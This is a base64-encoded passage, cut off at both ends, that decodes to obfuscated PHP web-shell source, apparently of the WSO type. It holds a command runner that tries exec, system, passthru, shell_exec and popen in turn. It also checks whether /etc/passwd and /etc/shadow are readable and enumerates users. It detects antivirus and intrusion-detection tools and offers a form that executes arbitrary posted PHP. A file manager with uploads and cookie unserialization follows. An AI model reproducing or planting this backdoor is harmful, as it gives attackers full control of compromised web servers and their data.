Z2lkIikgfHwgKHN0cnBvcyhpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0Z3JnaWQnKSAhPT0gZmFsc2UpKSB7CgogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGhvb2l6eikgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCn0KCmZ1bmN0aW9uIGZkcHV2a3d5KCRqY25ua3dwZnQpIHsKICAgICRybnN0cmlmdnFjZWsgPSAnJzsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRqY25ua3dwZnQsICRybnN0cmlmdnFjZWspOwogICAgICAgICRybnN0cmlmdnFjZWsgPSBAam9pbigiXG4iLCAkcm5zdHJpZnZxY2VrKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkamNubmt3cGZ0KTsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkamNubmt3cGZ0KTsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gc2hlbGxfZXhlYygkamNubmt3cGZ0KTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykgJiYgaXNfcmVzb3VyY2UoJGV6bnJpcHggPSBAcG9wZW4oJGpjbm5rd3BmdCwgInIiKSkpIHsKICAgICAgICAkcm5zdHJpZnZxY2VrID0gIiI7CiAgICAgICAgd2hpbGUgKCFAZmVvZigkZXpucmlweCkpIHsKICAgICAgICAgICAgJHJuc3RyaWZ2cWNlayAuPSBmcmVhZCgkZXpucmlweCwgMTAyNCk7CiAgICAgICAgfQogICAgICAgIHBjbG9zZSgkZXpucmlweCk7CiAgICB9CgogICAgcmV0dXJuICRybnN0cmlmdnFjZWs7Cn0KCmZ1bmN0aW9uIGRidGNxKCRlbXFiYmduKSB7CiAgICBpZiAoaXNfaW50KCRlbXFiYmduKSkgewogICAgICAgICRlbXFiYmduID0gc3ByaW50ZigiJXUiLCAkZW1xYmJnbik7CiAgICB9CgogICAgaWYgKCRlbXFiYmduID49IDEwNzM3NDE4MjQpIHsKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkZW1xYmJnbiAvIDEwNzM3NDE4MjQpIC4gJyBHQic7CiAgICB9IGVsc2VpZiAoJGVtcWJiZ24gPj0gMTA0ODU3NikgewogICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRlbXFiYmduIC8gMTA0ODU3NikgLiAnIE1CJzsKICAgIH0gZWxzZWlmICgkZW1xYmJnbiA+PSAxMDI0KSB7CiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJGVtcWJiZ24gLyAxMDI0KSAuICcgS0InOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gJGVtcWJiZ24gLiAnIEInOwogICAgfQp9CgpmdW5jdGlvbiBtdWFzc3FoZ3QoJGhvb2l6eikgewogICAgaWYgKCgkaG9vaXp6ICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgICAgICAkamVkcHJ3dmFlZiA9ICdzJzsKICAgIH0gZWxzZWlmICgoJGhvb2l6eiAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CiAgICAgICAgJGplZHByd3ZhZWYgPSAnbCc7CiAgICB9IGVsc2VpZiAoKCRob29penogJiAweDgwMDApID09IDB4ODAwMCkgewogICAgICAgICRqZWRwcnd2YWVmID0gJy0nOwogICAgfSBlbHNlaWYgKCgkaG9vaXp6ICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICAkamVkcHJ3dmFlZiA9ICdiJzsKICAgIH0gZWxzZWlmICgoJGhvb2l6eiAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CiAgICAgICAgJGplZHByd3ZhZWYgPSAnZCc7CiAgICB9IGVsc2VpZiAoKCRob29penogJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgICRqZWRwcnd2YWVmID0gJ2MnOwogICAgfSBlbHNlaWYgKCgkaG9vaXp6ICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICAkamVkcHJ3dmFlZiA9ICdwJzsKICAgIH0gZWxzZSB7CiAgICAgICAgJGplZHByd3ZhZWYgPSAndSc7CiAgICB9CiAgICAkamVkcHJ3dmFlZiAuPSAoKCRob29penogJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRqZWRwcnd2YWVmIC49ICgoJGhvb2l6eiAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogICAgJGplZHByd3ZhZWYgLj0gKCgkaG9vaXp6ICYgMHgwMDQwKSA/ICgoJGhvb2l6eiAmIDB4MDgwMCkgPyAncycgOiAneCcpIDogKCgkaG9vaXp6ICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgJGplZHByd3ZhZWYgLj0gKCgkaG9vaXp6ICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkamVkcHJ3dmFlZiAuPSAoKCRob29penogJiAweDAwMTApID8gJ3cnIDogJy0nKTsKICAgICRqZWRwcnd2YWVmIC49ICgoJGhvb2l6eiAmIDB4MDAwOCkgPyAoKCRob29penogJiAweDA0MDApID8gJ3MnIDogJ3gnKSA6ICgoJGhvb2l6eiAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKICAgICRqZWRwcnd2YWVmIC49ICgoJGhvb2l6eiAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGplZHByd3ZhZWYgLj0gKCgkaG9vaXp6ICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiAgICAkamVkcHJ3dmFlZiAuPSAoKCRob29penogJiAweDAwMDEpID8gKCgkaG9vaXp6ICYgMHgwMjAwKSA/ICd0JyA6ICd4JykgOiAoKCRob29penogJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgcmV0dXJuICRqZWRwcnd2YWVmOwp9CgpmdW5jdGlvbiBxd3pnaygkZXpucmlweCkgewogICAgaWYgKCFAaXNfcmVhZGFibGUoJGV6bnJpcHgpKSB7CiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiBtdWFzc3FoZ3QoQGZpbGVwZXJtcygkZXpucmlweCkpIC4gJzwvZm9udD4nOwogICAgfSBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGV6bnJpcHgpKSB7CiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gbXVhc3NxaGd0KEBmaWxlcGVybXMoJGV6bnJpcHgpKSAuICc8L2ZvbnQ+JzsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMjVmZjAwPicgLiBtdWFzc3FoZ3QoQGZpbGVwZXJtcygkZXpucmlweCkpIC4gJzwvZm9udD4nOwogICAgfQp9CgpmdW5jdGlvbiBpaHhva2ZkdCgkZ3FkYXhzcndjbikgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICAgICAgcmV0dXJuIHNjYW5kaXIoJGdxZGF4c3J3Y24pOwogICAgfSBlbHNlIHsKICAgICAgICAkYXlzcmtkID0gb3BlbmRpcigkZ3FkYXhzcndjbik7CiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJHNzdHBidGN2ZnkgPSByZWFkZGlyKCRheXNya2QpKSkgewogICAgICAgICAgICAkdWRldWtxd3N2a2VbXSA9ICRzc3RwYnRjdmZ5OwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICR1ZGV1a3F3c3ZrZTsKICAgIH0KfQoKZnVuY3Rpb24gcG5odXQoJGhvb2l6eikgewogICAgJG5ydWZzdnhrayA9IGZkcHV2a3d5KCd3aGljaCAnIC4gJGhvb2l6eik7CiAgICBpZiAoIWVtcHR5KCRucnVmc3Z4a2spKSB7CiAgICAgICAgcmV0dXJuICRucnVmc3Z4a2s7CiAgICB9CgogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewogICAgcWVtdmsoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoKICAgIGZ1bmN0aW9uIGJqanVhaigkdnpsYWlub3QsICRlZ2NvcmV0KSB7CiAgICAgICAgJGVnY29yZXQgPSB0cmltKCRlZ2NvcmV0KTsKICAgICAgICBpZiAoJGVnY29yZXQpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+JyAuICR2emxhaW5vdCAuICc6IDwvc3Bhbj4nOwogICAgICAgICAgICBpZiAoc3RycG9zKCRlZ2NvcmV0LCAiXG4iKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGVjaG8gJGVnY29yZXQgLiAnPGJyPic7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nIC4gJGVnY29yZXQgLiAnPC9wcmU+JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBiamp1YWooJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKSB7CiAgICAgICAgYmpqdWFqKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7CiAgICB9CgogICAgYmpqdWFqKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgJEdMT0JBTFNbJ212c3J3Y2JpZnInXSA/ICRHTE9CQUxTWydtdnNyd2NiaWZyJ10gOiAnbm9uZScpOwogICAgYmpqdWFqKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKICAgIGJqanVhaignU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKICAgIGJqanVhaignU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIGJqanVhaignY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSA/ICdlbmFibGVkJyA6ICdubycpOwogICAgJGpvdGxmYWNzcWd1ID0gYXJyYXkoKTsKCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkgewogICAgICAgICRqb3RsZmFjc3FndVtdID0gIk15U3FsICgiIC4gbXlzcWxfZ2V0X2NsaWVudF9pbmZvKCkgLiAiKSI7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHsKICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICJNU1NRTCI7CiAgICB9CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHsKICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIHsKICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICJPcmFjbGUiOwogICAgfQoKICAgIGJqanVhaignU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJGpvdGxmYWNzcWd1KSk7CiAgICBlY2hvICc8YnI+JzsKCiAgICBpZiAoJEdMT0JBTFNbJ3lua3ppcnYnXSA9PSAnbml4JykgewogICAgICAgIGJqanVhaignUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJykgPyAieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJwYXNzd2RcIiknPlt2aWV3XTwvYT4iIDogJ25vJyk7CiAgICAgICAgYmpqdWFqKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKSA/ICJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9hPiIgOiAnbm8nKTsKICAgICAgICBiamp1YWooJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiAgICAgICAgYmpqdWFqKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKICAgICAgICBpZiAoISRHTE9CQUxTWydpenpjc3dobnJleW8nXSkgewogICAgICAgICAgICAkcGl3bWVndiA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2djYycsCiAgICAgICAgICAgICAgICAnbGNjJywKICAgICAgICAgICAgICAgICdjYycsCiAgICAgICAgICAgICAgICAnbGQnLAogICAgICAgICAgICAgICAgJ21ha2UnLAogICAgICAgICAgICAgICAgJ3BocCcsCiAgICAgICAgICAgICAgICAncGVybCcsCiAgICAgICAgICAgICAgICAncHl0aG9uJywKICAgICAgICAgICAgICAgICdydWJ5JywKICAgICAgICAgICAgICAgICd0YXInLAogICAgICAgICAgICAgICAgJ2d6aXAnLAogICAgICAgICAgICAgICAgJ2J6aXAnLAogICAgICAgICAgICAgICAgJ2J6aXAyJywKICAgICAgICAgICAgICAgICduYycsCiAgICAgICAgICAgICAgICAnbG9jYXRlJywKICAgICAgICAgICAgICAgICdzdWlkcGVybCcKICAgICAgICAgICAgKTsKICAgICAgICAgICAgJHNhbmp3eGV1enkgPSBhcnJheSgKICAgICAgICAgICAgICAgICdrYXYnLAogICAgICAgICAgICAgICAgJ25vZDMyJywKICAgICAgICAgICAgICAgICdiZGNvcmVkJywKICAgICAgICAgICAgICAgICd1dnNjYW4nLAogICAgICAgICAgICAgICAgJ3NhdicsCiAgICAgICAgICAgICAgICAnZHJ3ZWJkJywKICAgICAgICAgICAgICAgICdjbGFtZCcsCiAgICAgICAgICAgICAgICAncmtodW50ZXInLAogICAgICAgICAgICAgICAgJ2Noa3Jvb3RraXQnLAogICAgICAgICAgICAgICAgJ2lwdGFibGVzJywKICAgICAgICAgICAgICAgICdpcGZ3JywKICAgICAgICAgICAgICAgICd0cmlwd2lyZScsCiAgICAgICAgICAgICAgICAnc2hpZWxkY2MnLAogICAgICAgICAgICAgICAgJ3BvcnRzZW50cnknLAogICAgICAgICAgICAgICAgJ3Nub3J0JywKICAgICAgICAgICAgICAgICdvc3NlYycsCiAgICAgICAgICAgICAgICAnbGlkc2FkbScsCiAgICAgICAgICAgICAgICAndGNwbG9kZycsCiAgICAgICAgICAgICAgICAnc3hpZCcsCiAgICAgICAgICAgICAgICAnbG9nY2hlY2snLAogICAgICAgICAgICAgICAgJ2xvZ3dhdGNoJywKICAgICAgICAgICAgICAgICdzeXNtYXNrJywKICAgICAgICAgICAgICAgICd6bWJzY2FwJywKICAgICAgICAgICAgICAgICdzYXdtaWxsJywKICAgICAgICAgICAgICAgICd3b3Jtc2NhbicsCiAgICAgICAgICAgICAgICAnbmluamEnCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICRvZ3dwdWxzID0gYXJyYXkoJ3dnZXQnLCAnZmV0Y2gnLCAnbHlueCcsICdsaW5rcycsICdjdXJsJywgJ2dldCcsICdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAkam90bGZhY3NxZ3UgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkcGl3bWVndiBhcyAkZm5qamZ5b2FrKSB7CiAgICAgICAgICAgICAgICBpZiAocG5odXQoJGZuampmeW9haykpIHsKICAgICAgICAgICAgICAgICAgICAkam90bGZhY3NxZ3VbXSA9ICRmbmpqZnlvYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYmpqdWFqKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCAkam90bGZhY3NxZ3UpKTsKICAgICAgICAgICAgJGpvdGxmYWNzcWd1ID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJHNhbmp3eGV1enkgYXMgJGZuampmeW9haykgewogICAgICAgICAgICAgICAgaWYgKHBuaHV0KCRmbmpqZnlvYWspKSB7CiAgICAgICAgICAgICAgICAgICAgJGpvdGxmYWNzcWd1W10gPSAkZm5qamZ5b2FrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBiamp1YWooJ0RhbmdlcicsIGltcGxvZGUoJywgJywgJGpvdGxmYWNzcWd1KSk7CiAgICAgICAgICAgICRqb3RsZmFjc3FndSA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvZ3dwdWxzIGFzICRmbmpqZnlvYWspIHsKICAgICAgICAgICAgICAgIGlmIChwbmh1dCgkZm5qamZ5b2FrKSkgewogICAgICAgICAgICAgICAgICAgICRqb3RsZmFjc3FndVtdID0gJGZuampmeW9hazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgYmpqdWFqKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywgJGpvdGxmYWNzcWd1KSk7CiAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgYmpqdWFqKCdIREQgc3BhY2UnLCBmZHB1dmt3eSgnZGYgLWgnKSk7CiAgICAgICAgICAgIGJqanVhaignSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIGVjaG8gJzxici8+PHNwYW4+cG9zaXhfZ2V0cHd1aWQgKCJSZWFkIiAvZXRjL3Bhc3N3ZCk8L3NwYW4+PHRhYmxlPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PHRyPjx0ZD5Gcm9tPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMSB2YWx1ZT0wPjwvdGQ+PC90cj48dHI+PHRkPlRvPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtMiB2YWx1ZT0xMDAwPjwvdGQ+PC90cj48L3RhYmxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydkeHh4cmQnXSwgJF9QT1NUWydrdnVlZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZHh4eHJkJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydrdnVlZCddKSkgewogICAgICAgICAgICAgICAgJGpvdGxmYWNzcWd1ID0gIiI7CiAgICAgICAgICAgICAgICBmb3IgKDsgJF9QT1NUWydkeHh4cmQnXSA8PSAkX1BPU1RbJ2t2dWVkJ107ICRfUE9TVFsnZHh4eHJkJ10rKykgewogICAgICAgICAgICAgICAgICAgICR2bm53bXBodnIgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydkeHh4cmQnXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR2bm53bXBodnIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGpvdGxmYWNzcWd1IC49IGpvaW4oJzonLCAkdm5ud21waHZyKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgYmpqdWFqKCdVc2VycycsICRqb3RsZmFjc3FndSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGJqanVhaignT1MgVmVyc2lvbicsIGZkcHV2a3d5KCd2ZXInKSk7CiAgICAgICAgYmpqdWFqKCdBY2NvdW50IFNldHRpbmdzJywgZmRwdXZrd3koJ25ldCBhY2NvdW50cycpKTsKICAgICAgICBiamp1YWooJ1VzZXIgQWNjb3VudHMnLCBmZHB1dmt3eSgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAganp3ZHooKTsKfQoKZnVuY3Rpb24gYWN0aW9uUGhwKCkgewogICBpZiAoaXNzZXQoJF9QT1NUWydsdG5tYSddKSkgewogICAgcnBsbHd1d3oobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOwogICAgb2Jfc3RhcnQoKTsKCiAgICAvLyDQn9GA0LjQvNC10YAg0LHQtdC30L7Qv9Cw0YHQvdC+0LPQviDQstGL0LfQvtCy0LAg0YTRg9C90LrRhtC40LkKICAgICRhbGxvd2VkX2Z1bmN0aW9ucyA9IFsKICAgICAgICAncGhwaW5mbycsCiAgICAgICAgJ3RpbWUnLAogICAgICAgICdkYXRlJywKICAgICAgICAvLyDQtNC+0LHQsNCy0YzRgtC1INGA0LDQt9GA0LXRiNGR0L3QvdGL0LUg0YTRg9C90LrRhtC40Lgg0LfQtNC10YHRjAogICAgXTsKCiAgICAvLyDQn9GA0LXQtNC/0L7Qu9C+0LbQuNC8LCDRh9GC0L4g0LIgbHNkZWUg0L/QtdGA0LXQtNCw0ZHRgtGB0Y8g0LjQvNGPINGE0YPQvdC60YbQuNC4INC4INCw0YDQs9GD0LzQtdC90YLRiyBKU09OCiAgICAkaW5wdXQgPSBqc29uX2RlY29kZSgkX1BPU1RbJ2xzZGVlJ10sIHRydWUpOwoKICAgIGlmIChpc19hcnJheSgkaW5wdXQpICYmIGlzc2V0KCRpbnB1dFsnZnVuY3Rpb24nXSkgJiYgaW5fYXJyYXkoJGlucHV0WydmdW5jdGlvbiddLCAkYWxsb3dlZF9mdW5jdGlvbnMpKSB7CiAgICAgICAgJGZ1bmMgPSAkaW5wdXRbJ2Z1bmN0aW9uJ107CiAgICAgICAgJGFyZ3MgPSBpc3NldCgkaW5wdXRbJ2FyZ3MnXSkgJiYgaXNfYXJyYXkoJGlucHV0WydhcmdzJ10pID8gJGlucHV0WydhcmdzJ10gOiBbXTsKCiAgICAgICAgLy8g0LLRi9C30YvQstCw0LXQvCDRgNCw0LfRgNC10YjRkdC90L3Rg9GOINGE0YPQvdC60YbQuNGOINGBINCw0YDQs9GD0LzQtdC90YLQsNC80LgKICAgICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkZnVuYywgJGFyZ3MpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICLQndC10LTQvtC/0YPRgdGC0LjQvNCw0Y8g0YTRg9C90LrRhtC40Y8g0LjQu9C4INGE0L7RgNC80LDRgiDQt9Cw0L/RgNC+0YHQsC4iOwogICAgfQoKICAgICRqb3RsZmFjc3FndSA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOwogICAgZWNobyBzdHJsZW4oJGpvdGxmYWNzcWd1KSwgIlxuIiwgJGpvdGxmYWNzcWd1OwogICAgZXhpdDsKfQoKICAgIGlmIChlbXB0eSgkX1BPU1RbJ2x0bm1hJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgcnBsbHd1d3oobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIDApOwogICAgfQoKCiAgICBxZW12aygpOwogICAgaWYgKGlzc2V0KCRfUE9TVFsnZHh4eHJkJ10pICYmICgkX1BPU1RbJ2R4eHhyZCddID09ICdpbmZvJykpIHsKCgogICAgICAgIGVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbygpOwogICAgICAgICRxcnpra2NxanB1ID0gb2JfZ2V0X2NsZWFuKCk7CgoKICAgICAgICAkcXJ6a2tjcWpwdSA9IHByZWdfcmVwbGFjZShhcnJheSgKICAgICAgICAgICAgJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywKICAgICAgICAgICAgLy8nIXRkLCB0aCB7KC4qKX0hbXNpVScsCiAgICAgICAgICAgICchPGltZ1tePl0rPiFtc2lVJywKCiAgICAgICAgKSwgYXJyYXkoCiAgICAgICAgICAgICcnLAogICAgICAgICAgICAvLycuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywKICAgICAgICAgICAgJycsCiAgICAgICAgKSwgJHFyemtrY3FqcHUpOwogICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoJzxoMScsICc8aDInLCAkcXJ6a2tjcWpwdSkgLiAnPC9kaXY+PGJyPic7CiAgICB9CiAgICBlY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EoXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nIC4gKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pID8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xzZGVlJ10pIDogJycpIC4gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwogICAgZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcgLiAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID8gJ2NoZWNrZWQnIDogJycpIC4gJz4gc2VuZCB1c2luZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInIC4gKGVtcHR5KCRfUE9TVFsnbHNkZWUnXSkgPyAnZGlzcGxheTpub25lOycgOiAnJykgLiAnbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKICAgIGlmICghZW1wdHkoJF9QT1NUWydsc2RlZSddKSkgewogICAgb2Jfc3RhcnQoKTsKCiAgICAvLyDQkdC10LcgZXZhbDog0YHQvtC30LTQsNGR0Lwg0LLRgNC10LzQtdC90L3Ri9C5IFBIUC3RhNCw0LnQuywg0LLQutC70Y7Rh9Cw0LXQvCDQtdCz0L4g0Lgg0YPQtNCw0LvRj9C10LwKICAgICR0ZW1wRmlsZSA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAndG1wX3BocF8nKTsKICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0ZW1wRmlsZSwgIjw/cGhwXG4iIC4gJF9QT1NUWydsc2RlZSddKTsKICAgIGluY2x1ZGUgJHRlbXBGaWxlOwogICAgdW5saW5rKCR0ZW1wRmlsZSk7CgogICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKfQoKICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7CiAgICBqendkeigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsKCgogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnbnBka2knXSkpIHsKICAgICAgICAkX0NPT0tJRVsnbnBka2knXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnbnBka2knXSk7CiAgICB9CgoKICAgIGlmICghZW1wdHkoJF9QT1NUWydsc2RlZSddKSkgewogICAgICAgIHN3aXRjaCAoJF9QT1NUWydsc2RlZSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYgKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWydu